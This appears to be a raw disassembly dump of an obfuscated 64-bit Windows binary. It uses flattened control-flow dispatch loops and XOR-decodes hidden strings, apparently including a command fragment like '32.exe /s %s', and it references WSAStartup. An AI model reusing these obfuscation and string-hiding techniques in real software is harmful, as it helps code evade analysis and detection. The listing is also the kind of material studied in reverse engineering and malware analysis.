cmp ebx, 0x831e9691
je 0x18002df6d
cmp ebx, 0xf66297dd
jne 0x18002df50
mov byte [rbp + 0x108], dl
mov ebx, 0x831e9691
jmp 0x18002df50
mov bl, byte [rbp + 0x108]
mov byte [rbp + 0xf8], bl
mov ebx, 0x7ee59bc8
jmp 0x18002df20
mov edx, dword [rbp + 0xf8]
mov word [rcx + 0xa], dx
add rcx, 0xc
mov qword [rbp + 0xe8], rcx
mov edx, 0x55ccc14f
nop word [rax + rax]
cmp edx, 0x55ccc14e
jg 0x18002dfe0
cmp edx, 0xfbcf9b3
je 0x18002e009
cmp edx, 0x2cffd0fc
jne 0x18002dfa0
mov word [rcx], 0
add rcx, 2
cmp rcx, qword [rbp + 0xf8]
mov edx, 0x2cffd0fc
mov ebx, 0x77ad374f
cmove edx, ebx
jmp 0x18002dfa0
cmp edx, 0x77ad374f
je 0x18002e6e0
cmp edx, 0x55ccc14f
jne 0x18002dfa0
lea rdx, [0x1800dfbaa]
mov qword [rbp + 0xf0], rdx
mov edx, 0xfbcf9b3
jmp 0x18002dfa0
mov rcx, qword [rbp + 0xf0]
movzx ecx, word [rcx]
mov edx, 0x800b32f6
nop dword [rax + rax]
cmp edx, 0x1b941909
je 0x18002e082
cmp edx, 0x800b32f6
jne 0x18002e020
mov qword [rbp + 0x108], rax
mov edx, 0xdddd4aba
nop dword [rax]
cmp edx, 0x2c73f116
je 0x18002e065
cmp edx, 0xdddd4aba
jne 0x18002e040
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rdx
mov edx, 0x2c73f116
jmp 0x18002e040
mov rdx, qword [rbp + 0x198]
movzx edx, word [rdx]
xor dx, cx
movzx edx, dx
mov dword [rbp + 0x100], edx
mov edx, 0x1b941909
jmp 0x18002e020
mov ecx, dword [rbp + 0x100]
mov rdx, qword [rbp + 0xe8]
mov word [rdx], cx
mov rcx, qword [rbp + 0xe8]
mov edx, 0x800b32f6
nop
cmp edx, 0x1b941909
je 0x18002e0ff
cmp edx, 0x800b32f6
jne 0x18002e0a0
mov qword [rbp + 0x108], rax
mov edx, 0xdddd4aba
nop dword [rax]
cmp edx, 0x2c73f116
je 0x18002e0e5
cmp edx, 0xdddd4aba
jne 0x18002e0c0
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rdx
mov edx, 0x2c73f116
jmp 0x18002e0c0
mov rdx, qword [rbp + 0x198]
movzx edx, word [rdx]
xor edx, 0x33
mov dword [rbp + 0x100], edx
mov edx, 0x1b941909
jmp 0x18002e0a0
mov edx, dword [rbp + 0x100]
mov word [rcx + 2], dx
mov edx, 0x800b32f6
nop
cmp edx, 0x1b941909
je 0x18002e16f
cmp edx, 0x800b32f6
jne 0x18002e110
mov qword [rbp + 0x108], rax
mov edx, 0xdddd4aba
nop dword [rax]
cmp edx, 0x2c73f116
je 0x18002e155
cmp edx, 0xdddd4aba
jne 0x18002e130
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rdx
mov edx, 0x2c73f116
jmp 0x18002e130
mov rdx, qword [rbp + 0x198]
movzx edx, word [rdx]
xor edx, 0x32
mov dword [rbp + 0x100], edx
mov edx, 0x1b941909
jmp 0x18002e110
mov edx, dword [rbp + 0x100]
mov word [rcx + 4], dx
mov edx, 0x800b32f6
nop
cmp edx, 0x1b941909
je 0x18002e1df
cmp edx, 0x800b32f6
jne 0x18002e180
mov qword [rbp + 0x108], rax
mov edx, 0xdddd4aba
nop dword [rax]
cmp edx, 0x2c73f116
je 0x18002e1c5
cmp edx, 0xdddd4aba
jne 0x18002e1a0
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rdx
mov edx, 0x2c73f116
jmp 0x18002e1a0
mov rdx, qword [rbp + 0x198]
movzx edx, word [rdx]
xor edx, 0x2e
mov dword [rbp + 0x100], edx
mov edx, 0x1b941909
jmp 0x18002e180
mov edx, dword [rbp + 0x100]
mov word [rcx + 6], dx
mov edx, 0x800b32f6
nop
cmp edx, 0x1b941909
je 0x18002e24f
cmp edx, 0x800b32f6
jne 0x18002e1f0
mov qword [rbp + 0x108], rax
mov edx, 0xdddd4aba
nop dword [rax]
cmp edx, 0x2c73f116
je 0x18002e235
cmp edx, 0xdddd4aba
jne 0x18002e210
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rdx
mov edx, 0x2c73f116
jmp 0x18002e210
mov rdx, qword [rbp + 0x198]
movzx edx, word [rdx]
xor edx, 0x65
mov dword [rbp + 0x100], edx
mov edx, 0x1b941909
jmp 0x18002e1f0
mov edx, dword [rbp + 0x100]
mov word [rcx + 8], dx
mov edx, 0x800b32f6
nop
cmp edx, 0x1b941909
je 0x18002e2bf
cmp edx, 0x800b32f6
jne 0x18002e260
mov qword [rbp + 0x108], rax
mov edx, 0xdddd4aba
nop dword [rax]
cmp edx, 0x2c73f116
je 0x18002e2a5
cmp edx, 0xdddd4aba
jne 0x18002e280
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rdx
mov edx, 0x2c73f116
jmp 0x18002e280
mov rdx, qword [rbp + 0x198]
movzx edx, word [rdx]
xor edx, 0x78
mov dword [rbp + 0x100], edx
mov edx, 0x1b941909
jmp 0x18002e260
mov edx, dword [rbp + 0x100]
mov word [rcx + 0xa], dx
mov edx, 0x800b32f6
nop
cmp edx, 0x1b941909
je 0x18002e32f
cmp edx, 0x800b32f6
jne 0x18002e2d0
mov qword [rbp + 0x108], rax
mov edx, 0xdddd4aba
nop dword [rax]
cmp edx, 0x2c73f116
je 0x18002e315
cmp edx, 0xdddd4aba
jne 0x18002e2f0
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rdx
mov edx, 0x2c73f116
jmp 0x18002e2f0
mov rdx, qword [rbp + 0x198]
movzx edx, word [rdx]
xor edx, 0x65
mov dword [rbp + 0x100], edx
mov edx, 0x1b941909
jmp 0x18002e2d0
mov edx, dword [rbp + 0x100]
mov word [rcx + 0xc], dx
mov edx, 0x800b32f6
nop
cmp edx, 0x1b941909
je 0x18002e39f
cmp edx, 0x800b32f6
jne 0x18002e340
mov qword [rbp + 0x108], rax
mov edx, 0xdddd4aba
nop dword [rax]
cmp edx, 0x2c73f116
je 0x18002e385
cmp edx, 0xdddd4aba
jne 0x18002e360
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rdx
mov edx, 0x2c73f116
jmp 0x18002e360
mov rdx, qword [rbp + 0x198]
movzx edx, word [rdx]
xor edx, 0x20
mov dword [rbp + 0x100], edx
mov edx, 0x1b941909
jmp 0x18002e340
mov edx, dword [rbp + 0x100]
mov word [rcx + 0xe], dx
mov edx, 0x800b32f6
nop
cmp edx, 0x1b941909
je 0x18002e40f
cmp edx, 0x800b32f6
jne 0x18002e3b0
mov qword [rbp + 0x108], rax
mov edx, 0xdddd4aba
nop dword [rax]
cmp edx, 0x2c73f116
je 0x18002e3f5
cmp edx, 0xdddd4aba
jne 0x18002e3d0
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rdx
mov edx, 0x2c73f116
jmp 0x18002e3d0
mov rdx, qword [rbp + 0x198]
movzx edx, word [rdx]
xor edx, 0x2f
mov dword [rbp + 0x100], edx
mov edx, 0x1b941909
jmp 0x18002e3b0
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x10], dx
mov edx, 0x800b32f6
nop
cmp edx, 0x1b941909
je 0x18002e47f
cmp edx, 0x800b32f6
jne 0x18002e420
mov qword [rbp + 0x108], rax
mov edx, 0xdddd4aba
nop dword [rax]
cmp edx, 0x2c73f116
je 0x18002e465
cmp edx, 0xdddd4aba
jne 0x18002e440
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rdx
mov edx, 0x2c73f116
jmp 0x18002e440
mov rdx, qword [rbp + 0x198]
movzx edx, word [rdx]
xor edx, 0x73
mov dword [rbp + 0x100], edx
mov edx, 0x1b941909
jmp 0x18002e420
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x12], dx
mov edx, 0x800b32f6
nop
cmp edx, 0x1b941909
je 0x18002e4ef
cmp edx, 0x800b32f6
jne 0x18002e490
mov qword [rbp + 0x108], rax
mov edx, 0xdddd4aba
nop dword [rax]
cmp edx, 0x2c73f116
je 0x18002e4d5
cmp edx, 0xdddd4aba
jne 0x18002e4b0
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rdx
mov edx, 0x2c73f116
jmp 0x18002e4b0
mov rdx, qword [rbp + 0x198]
movzx edx, word [rdx]
xor edx, 0x20
mov dword [rbp + 0x100], edx
mov edx, 0x1b941909
jmp 0x18002e490
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x14], dx
mov edx, 0x800b32f6
nop
cmp edx, 0x1b941909
je 0x18002e55f
cmp edx, 0x800b32f6
jne 0x18002e500
mov qword [rbp + 0x108], rax
mov edx, 0xdddd4aba
nop dword [rax]
cmp edx, 0x2c73f116
je 0x18002e545
cmp edx, 0xdddd4aba
jne 0x18002e520
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rdx
mov edx, 0x2c73f116
jmp 0x18002e520
mov rdx, qword [rbp + 0x198]
movzx edx, word [rdx]
xor edx, 0x25
mov dword [rbp + 0x100], edx
mov edx, 0x1b941909
jmp 0x18002e500
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x16], dx
mov edx, 0x800b32f6
nop
cmp edx, 0x1b941909
je 0x18002e5cf
cmp edx, 0x800b32f6
jne 0x18002e570
mov qword [rbp + 0x108], rax
mov edx, 0xdddd4aba
nop dword [rax]
cmp edx, 0x2c73f116
je 0x18002e5b5
cmp edx, 0xdddd4aba
jne 0x18002e590
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rdx
mov edx, 0x2c73f116
jmp 0x18002e590
mov rdx, qword [rbp + 0x198]
movzx edx, word [rdx]
xor edx, 0x73
mov dword [rbp + 0x100], edx
mov edx, 0x1b941909
jmp 0x18002e570
mov edx, dword [rbp + 0x100]
mov word [rcx + 0x18], dx
add rcx, 0x1a
mov rdx, qword [rbp + 0xe0]
add rdx, 0x28
mov qword [rbp + 0xf8], rdx
mov edx, 0x2cffd0fc
jmp 0x18002dfa0
movsxd rax, dword [rbp + 0x198]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov byte [rbp + 0xf0], al
mov eax, 0x6aac2ef1
nop word [rax + rax]
cmp eax, 0x830fc09d
je 0x18002e984
cmp eax, 0x6aac2ef1
jne 0x18002e630
movzx eax, byte [rbp + 0xf0]
mov ecx, dword [rbp + 0xf8]
add cl, al
mov byte [rbp + 0x198], cl
mov eax, 0x830fc09d
jmp 0x18002e630
mov dl, byte [rbp + 0xf8]
mov ebx, dword [rbp + 0x198]
xor bl, dl
mov byte [rcx + 6], bl
mov dl, byte [rax]
mov ebx, 0x158cd83e
nop word cs:[rax + rax]
cmp ebx, 0x7ee59bc8
je 0x18002ee30
cmp ebx, 0x158cd83e
jne 0x18002e680
mov dword [rbp + 0x198], 0x75
mov ebx, 0xf66297dd
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x831e9691
je 0x18002e6cd
cmp ebx, 0xf66297dd
jne 0x18002e6b0
mov byte [rbp + 0x108], dl
mov ebx, 0x831e9691
jmp 0x18002e6b0
mov bl, byte [rbp + 0x108]
mov byte [rbp + 0xf8], bl
mov ebx, 0x7ee59bc8
jmp 0x18002e680
mov rax, qword [rbp + 0x88]
mov edx, 0x141745ff
jmp 0x18002e710
mov edx, dword [rbp + 0x100]
mov rbx, qword [rbp + 0xf0]
mov word [rbx], dx
mov edx, 0x4de091ff
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x184d8a90
jle 0x18002e750
cmp edx, 0x56df9966
jg 0x18002e7f0
cmp edx, 0x184d8a91
je 0x18002e84e
cmp edx, 0x4de091ff
jne 0x18002e8b0
mov edx, 0x7ec73753
mov rcx, qword [rbp + 0xe8]
jmp 0x18002e710
cmp edx, 0xe8a12ff7
jg 0x18002e830
cmp edx, 0x9b669242
je 0x18002e865
cmp edx, 0xd7674dac
jne 0x18002e710
mov rdx, qword [rbp + 0xf0]
movzx edx, word [rdx]
mov ebx, 0x800b32f6
nop
cmp ebx, 0x1b941909
je 0x18002e6ee
cmp ebx, 0x800b32f6
jne 0x18002e780
mov qword [rbp + 0x108], rax
mov ebx, 0xdddd4aba
cmp ebx, 0x2c73f116
je 0x18002e7c5
cmp ebx, 0xdddd4aba
jne 0x18002e7a0
mov rbx, qword [rbp + 0x108]
mov qword [rbp + 0x198], rbx
mov ebx, 0x2c73f116
jmp 0x18002e7a0
mov rbx, qword [rbp + 0x198]
movzx ebx, word [rbx]
xor bx, dx
movzx ebx, bx
mov dword [rbp + 0x100], ebx
mov ebx, 0x1b941909
jmp 0x18002e780
cmp edx, 0x56df9967
je 0x18002e893
cmp edx, 0x7ec73753
jne 0x18002e710
mov qword [rbp + 0xf8], rcx
mov rdx, qword [rbp + 0xf8]
cmp rdx, 0x12
mov edx, 0x56df9967
cmovb edx, edi
jmp 0x18002e710
cmp edx, 0xe8a12ff8
je 0x18002e8a4
cmp edx, 0x141745ff
jne 0x18002e710
mov edx, 0xe8a12ff8
jmp 0x18002e710
mov rdx, qword [rbp + 0xe0]
mov word [rdx + 0x26], 0
mov edx, 0x4b66771b
jmp 0x18002e710
mov rdx, qword [rbp + 0xf8]
add rdx, 1
mov qword [rbp + 0xe8], rdx
mov rdx, qword [rbp + 0xe8]
lea rdx, [rax + rdx*2]
mov qword [rbp + 0xf0], rdx
mov edx, 0xd7674dac
jmp 0x18002e710
mov qword [rbp + 0xe0], rax
mov edx, 0x184d8a91
jmp 0x18002e710
mov edx, 0x7ec73753
xor ecx, ecx
jmp 0x18002e710
cmp edx, 0x4b66771b
jne 0x18002e710
mov rdx, qword [rbp + 0xe0]
add rdx, 2
mov r8, qword [rbp - 0x28]
sub rsp, 0x20
lea rcx, [rbp + 0xa20]
call fcn.180030d00
add rsp, 0x20
mov rax, qword [rbp + 0x80]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp - 0x30]
mov rax, qword [rbp + 0x80]
mov qword [rbp + 0xe8], rax
mov rcx, qword [rbp + 0xe8]
mov byte [rcx], 0x2b
mov rcx, qword [rbp + 0xe8]
mov edx, 0xecddb854
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x63138cef
je 0x18002eec0
cmp edx, 0xecddb854
jne 0x18002e920
mov dword [rbp + 0x108], 0x52
mov edx, 0x5e7cf390
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x9534912d
je 0x18002e96e
cmp edx, 0x5e7cf390
jne 0x18002e950
mov qword [rbp + 0x198], rax
mov edx, 0x9534912d
jmp 0x18002e950
mov rdx, qword [rbp + 0x198]
mov dl, byte [rdx]
mov byte [rbp + 0xf8], dl
mov edx, 0x63138cef
jmp 0x18002e920
mov al, byte [rbp + 0x198]
mov byte [rbp + 0x100], al
mov eax, 0x87ed9dab
nop word cs:[rax + rax]
nop
cmp eax, 0xcb615dff
je 0x18002ef44
cmp eax, 0x87ed9dab
jne 0x18002e9a0
mov rax, qword [rbp + 0x108]
mov cl, byte [rbp + 0x100]
mov byte [rax], cl
mov rax, qword [rbp + 0x108]
mov dword [rbp + 0xf0], 0x61
mov ecx, 0xb99354bc
nop word [rax + rax]
cmp ecx, 0xa1518875
je 0x18002ea01
cmp ecx, 0xb99354bc
jne 0x18002e9e0
mov dword [rbp + 0xf8], 0x4b
mov ecx, 0xa1518875
jmp 0x18002e9e0
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov byte [rbp + 0xe8], cl
mov ecx, 0x6aac2ef1
nop
cmp ecx, 0x830fc09d
je 0x18002ea5c
cmp ecx, 0x6aac2ef1
jne 0x18002ea30
movzx ecx, byte [rbp + 0xe8]
mov edx, dword [rbp + 0xf0]
add dl, cl
mov byte [rbp + 0xf8], dl
mov ecx, 0x830fc09d
jmp 0x18002ea30
mov cl, byte [rbp + 0xf8]
mov byte [rax + 1], cl
mov dword [rbp + 0xf0], 0x74
mov ecx, 0xb99354bc
nop word cs:[rax + rax]
nop
cmp ecx, 0xa1518875
je 0x18002eaa1
cmp ecx, 0xb99354bc
jne 0x18002ea80
mov dword [rbp + 0xf8], 0x4b
mov ecx, 0xa1518875
jmp 0x18002ea80
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov byte [rbp + 0xe8], cl
mov ecx, 0x6aac2ef1
nop
cmp ecx, 0x830fc09d
je 0x18002eafc
cmp ecx, 0x6aac2ef1
jne 0x18002ead0
movzx ecx, byte [rbp + 0xe8]
mov edx, dword [rbp + 0xf0]
add dl, cl
mov byte [rbp + 0xf8], dl
mov ecx, 0x830fc09d
jmp 0x18002ead0
mov cl, byte [rbp + 0xf8]
mov byte [rax + 2], cl
mov dword [rbp + 0xf0], 0x65
mov ecx, 0xb99354bc
nop word cs:[rax + rax]
nop
cmp ecx, 0xa1518875
je 0x18002eb41
cmp ecx, 0xb99354bc
jne 0x18002eb20
mov dword [rbp + 0xf8], 0x4b
mov ecx, 0xa1518875
jmp 0x18002eb20
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov byte [rbp + 0xe8], cl
mov ecx, 0x6aac2ef1
nop
cmp ecx, 0x830fc09d
je 0x18002eb9c
cmp ecx, 0x6aac2ef1
jne 0x18002eb70
movzx ecx, byte [rbp + 0xe8]
mov edx, dword [rbp + 0xf0]
add dl, cl
mov byte [rbp + 0xf8], dl
mov ecx, 0x830fc09d
jmp 0x18002eb70
mov cl, byte [rbp + 0xf8]
mov byte [rax + 3], cl
mov dword [rbp + 0xf0], 0x50
mov ecx, 0xb99354bc
nop word cs:[rax + rax]
nop
cmp ecx, 0xa1518875
je 0x18002ebe1
cmp ecx, 0xb99354bc
jne 0x18002ebc0
mov dword [rbp + 0xf8], 0x4b
mov ecx, 0xa1518875
jmp 0x18002ebc0
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov byte [rbp + 0xe8], cl
mov ecx, 0x6aac2ef1
nop
cmp ecx, 0x830fc09d
je 0x18002ec3c
cmp ecx, 0x6aac2ef1
jne 0x18002ec10
movzx ecx, byte [rbp + 0xe8]
mov edx, dword [rbp + 0xf0]
add dl, cl
mov byte [rbp + 0xf8], dl
mov ecx, 0x830fc09d
jmp 0x18002ec10
mov cl, byte [rbp + 0xf8]
mov byte [rax + 4], cl
mov dword [rbp + 0xf0], WSAStartup
mov ecx, 0xb99354bc
nop word cs:[rax + rax]
nop
cmp ecx, 0xa1518875
je 0x18002ec81
cmp ecx, 0xb99354bc
jne 0x18002ec60
mov dword [rbp + 0xf8], 0x4b
mov ecx, 0xa1518875
jmp 0x18002ec60
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov byte [rbp + 0xe8], cl
mov ecx, 0x6aac2ef1
nop
cmp ecx, 0x830fc09d
je 0x18002ecdc
cmp ecx, 0x6aac2ef1
jne 0x18002ecb0
movzx ecx, byte [rbp + 0xe8]
mov edx, dword [rbp + 0xf0]
add dl, cl
mov byte [rbp + 0xf8], dl
mov ecx, 0x830fc09d
jmp 0x18002ecb0
mov cl, byte [rbp + 0xf8]
mov byte [rax + 5], cl
mov dword [rbp + 0xf0], WSAStartup
mov ecx, 0xb99354bc
nop word cs:[rax + rax]
nop
cmp ecx, 0xa1518875
je 0x18002ed21
cmp ecx, 0xb99354bc
jne 0x18002ed00
mov dword [rbp + 0xf8], 0x4b
mov ecx, 0xa1518875
jmp 0x18002ed00
movsxd rcx, dword [rbp + 0xf8]
imul rdx, rcx, 0x4ec4ec4f
mov rbx, rdx
shr rbx, 0x3f
shr rdx, 0x22
add edx, ebx
lea ebx, [rdx + rdx*2]
lea edx, [rdx + rbx*4]
sub ecx, edx
mov byte [rbp + 0xe8], cl
mov ecx, 0x6aac2ef1
nop
cmp ecx, 0x830fc09d
je 0x18002ed7c
cmp ecx, 0x6aac2ef1
jne 0x18002ed50
movzx ecx, byte [rbp + 0xe8]
mov edx, dword [rbp + 0xf0]
add dl, cl
mov byte [rbp + 0xf8], dl
mov ecx, 0x830fc09d
jmp 0x18002ed50
mov cl, byte [rbp + 0xf8]
mov byte [rax + 6], cl
add rax, 7
mov qword [rbp + 0x198], rax
mov dword [rbp + 0xf0], 0x63
mov eax, 0xb99354bc
nop
cmp eax, 0xa1518875
je 0x18002edbf
cmp eax, 0xb99354bc
jne 0x18002eda0
mov dword [rbp + 0xf8], 0x4b
mov eax, 0xa1518875
jmp 0x18002eda0
movsxd rax, dword [rbp + 0xf8]
imul rcx, rax, 0x4ec4ec4f
mov rdx, rcx
shr rdx, 0x3f
shr rcx, 0x22
add ecx, edx
lea edx, [rcx + rcx*2]
lea ecx, [rcx + rdx*4]
sub eax, ecx
mov byte [rbp + 0xe8], al
mov eax, 0x6aac2ef1
nop dword [rax]
cmp eax, 0x830fc09d
je 0x18002ee1a
cmp eax, 0x6aac2ef1
jne 0x18002edf0
movzx eax, byte [rbp + 0xe8]
mov ecx, dword [rbp + 0xf0]
add cl, al
mov byte [rbp + 0xf8], cl
mov eax, 0x830fc09d
jmp 0x18002edf0
mov al, byte [rbp + 0xf8]
mov byte [rbp + 0xe0], al
mov eax, 0xcb615dff
jmp 0x18002e9a0
mov dl, byte [rbp + 0xf8]
mov ebx, dword [rbp + 0x198]
xor bl, dl
mov byte [rcx + 7], bl
add rcx, 8
mov qword [rbp + 0xf8], rcx
mov cl, byte [rax]
mov edx, 0x158cd83e
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x7ee59bc8
je 0x18002ef95
cmp edx, 0x158cd83e
jne 0x18002ee60
mov dword [rbp + 0x198], WSAStartup
mov edx, 0xf66297dd
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x831e9691
je 0x18002eead
cmp edx, 0xf66297dd
jne 0x18002ee90
mov byte [rbp + 0x108], cl
mov edx, 0x831e9691
jmp 0x18002ee90
mov dl, byte [rbp + 0x108]
mov byte [rbp + 0xe8], dl
mov edx, 0x7ee59bc8
jmp 0x18002ee60
mov dl, byte [rbp + 0xf8]
mov ebx, dword [rbp + 0x108]
xor bl, dl
mov byte [rcx + 1], bl
mov edx, 0xecddb854
nop word cs:[rax + rax]
cmp edx, 0x63138cef
je 0x18002f52d
cmp edx, 0xecddb854
jne 0x18002eee0
mov dword [rbp + 0x108], 0x65
mov edx, 0x5e7cf390
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x9534912d
je 0x18002ef2e
cmp edx, 0x5e7cf390
jne 0x18002ef10
mov qword [rbp + 0x198], rax
mov edx, 0x9534912d
jmp 0x18002ef10
mov rdx, qword [rbp + 0x198]
mov dl, byte [rdx]
mov byte [rbp + 0xf8], dl
mov edx, 0x63138cef
jmp 0x18002eee0
mov rax, qword [rbp + 0x198]
mov cl, byte [rbp + 0xe0]
mov byte [rax], cl
mov rax, qword [rbp + 0x198]
mov dword [rbp + 0xf0], 0x65
mov ecx, 0xb99354bc
nop dword [rax]
cmp ecx, 0xa1518875
je 0x18002f5b4
cmp ecx, 0xb99354bc
jne 0x18002ef70
mov dword [rbp + 0xf8], 0x4b
mov ecx, 0xa1518875
jmp 0x18002ef70
mov cl, byte [rbp + 0xe8]
mov edx, dword [rbp + 0x198]
xor dl, cl
mov byte [rbp + 0xd8], dl
mov edx, 0xed5997da
nop
cmp edx, 0xed5997d9
jg 0x18002f030
cmp edx, 0xe1576b21
je 0x18002f620
cmp edx, 0xea28a2dc
jne 0x18002efb0
movsx ecx, byte [rbp + 0x114]
mov dl, byte [rax]
mov ebx, 0x158cd83e
nop word [rax + rax]
cmp ebx, 0x7ee59bc8
je 0x18002f0d0
cmp ebx, 0x158cd83e
jne 0x18002efe0
mov dword [rbp + 0xe8], ecx
mov ebx, 0xf66297dd
nop
cmp ebx, 0x831e9691
je 0x18002f01d
cmp ebx, 0xf66297dd
jne 0x18002f000
mov byte [rbp + 0xe0], dl
mov ebx, 0x831e9691
jmp 0x18002f000
mov bl, byte [rbp + 0xe0]
mov byte [rbp + 0x100], bl
mov ebx, 0x7ee59bc8
jmp 0x18002efe0
cmp edx, 0x571e2217
je 0x18002f160
cmp edx, 0xed5997da
jne 0x18002efb0
mov rdx, qword [rbp + 0xf8]
mov bl, byte [rbp + 0xd8]
mov byte [rdx], bl
mov rdx, qword [rbp + 0xf8]
mov bl, byte [rax]
mov edi, 0x158cd83e
nop word cs:[rax + rax]
nop
cmp edi, 0x7ee59bc8
je 0x18002f180
cmp edi, 0x158cd83e
jne 0x18002f070
mov dword [rbp + 0xe8], 0x65
mov edi, 0xf66297dd
nop word cs:[rax + rax]
nop dword [rax]
cmp edi, 0x831e9691
je 0x18002f0bd
cmp edi, 0xf66297dd
jne 0x18002f0a0
mov byte [rbp + 0xe0], bl
mov edi, 0x831e9691
jmp 0x18002f0a0
mov cl, byte [rbp + 0xe0]
mov byte [rbp + 0x100], cl
mov edi, 0x7ee59bc8
jmp 0x18002f070
mov cl, byte [rbp + 0x100]
mov edx, dword [rbp + 0xe8]
xor dl, cl
mov rcx, qword [rbp + 0x108]
mov byte [rcx], dl
mov rsi, qword [rbp + 0x108]
mov dl, byte [rax]
mov ebx, 0x158cd83e
nop word cs:[rax + rax]
nop
cmp ebx, 0x7ee59bc8
je 0x18002f200
cmp ebx, 0x158cd83e
jne 0x18002f100
mov dword [rbp + 0xe8], WSAStartup
mov ebx, 0xf66297dd
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x831e9691
je 0x18002f14d
cmp ebx, 0xf66297dd
jne 0x18002f130
mov byte [rbp + 0xe0], dl
mov ebx, 0x831e9691
jmp 0x18002f130
mov cl, byte [rbp + 0xe0]
mov byte [rbp + 0x100], cl
mov ebx, 0x7ee59bc8
jmp 0x18002f100
mov byte [rsi], 0
add rsi, 1
cmp rsi, qword [rbp + 0x198]
mov edx, 0x571e2217
mov ecx, 0xe1576b21
cmove edx, ecx
jmp 0x18002efb0
mov cl, byte [rbp + 0x100]
mov ebx, dword [rbp + 0xe8]
xor bl, cl
mov byte [rdx + 1], bl
mov bl, byte [rax]
mov edi, 0x158cd83e
nop dword [rax + rax]
cmp edi, 0x7ee59bc8
je 0x18002f280
cmp edi, 0x158cd83e
jne 0x18002f1a0
mov dword [rbp + 0xe8], 0x46
mov edi, 0xf66297dd
nop word cs:[rax + rax]
nop dword [rax]
cmp edi, 0x831e9691
je 0x18002f1ed
cmp edi, 0xf66297dd
jne 0x18002f1d0
mov byte [rbp + 0xe0], bl
mov edi, 0x831e9691
jmp 0x18002f1d0
mov cl, byte [rbp + 0xe0]
mov byte [rbp + 0x100], cl
mov edi, 0x7ee59bc8
jmp 0x18002f1a0
mov cl, byte [rbp + 0x100]
mov edx, dword [rbp + 0xe8]
xor dl, cl
mov byte [rsi + 1], dl
mov dl, byte [rax]
mov ebx, 0x158cd83e
nop dword [rax + rax]
cmp ebx, 0x7ee59bc8
je 0x18002f300
cmp ebx, 0x158cd83e
jne 0x18002f220
mov dword [rbp + 0xe8], 0x65
mov ebx, 0xf66297dd
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x831e9691
je 0x18002f26d
cmp ebx, 0xf66297dd
jne 0x18002f250
mov byte [rbp + 0xe0], dl
mov ebx, 0x831e9691
jmp 0x18002f250
mov cl, byte [rbp + 0xe0]
mov byte [rbp + 0x100], cl
mov ebx, 0x7ee59bc8
jmp 0x18002f220
mov cl, byte [rbp + 0x100]
mov ebx, dword [rbp + 0xe8]
xor bl, cl
mov byte [rdx + 2], bl
mov bl, byte [rax]
mov edi, 0x158cd83e
nop dword [rax + rax]
cmp edi, 0x7ee59bc8
je 0x18002f380
cmp edi, 0x158cd83e
jne 0x18002f2a0
mov dword [rbp + 0xe8], 0x69
mov edi, 0xf66297dd
nop word cs:[rax + rax]
nop dword [rax]
cmp edi, 0x831e9691
je 0x18002f2ed
cmp edi, 0xf66297dd
jne 0x18002f2d0
mov byte [rbp + 0xe0], bl
mov edi, 0x831e9691
jmp 0x18002f2d0
mov cl, byte [rbp + 0xe0]
mov byte [rbp + 0x100], cl
mov edi, 0x7ee59bc8
jmp 0x18002f2a0
mov cl, byte [rbp + 0x100]
mov edx, dword [rbp + 0xe8]
xor dl, cl
mov byte [rsi + 2], dl
mov dl, byte [rax]
mov ebx, 0x158cd83e
nop dword [rax + rax]
cmp ebx, 0x7ee59bc8
je 0x18002f3f0
cmp ebx, 0x158cd83e
jne 0x18002f320
mov dword [rbp + 0xe8], 0x57
mov ebx, 0xf66297dd
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x831e9691
je 0x18002f36d
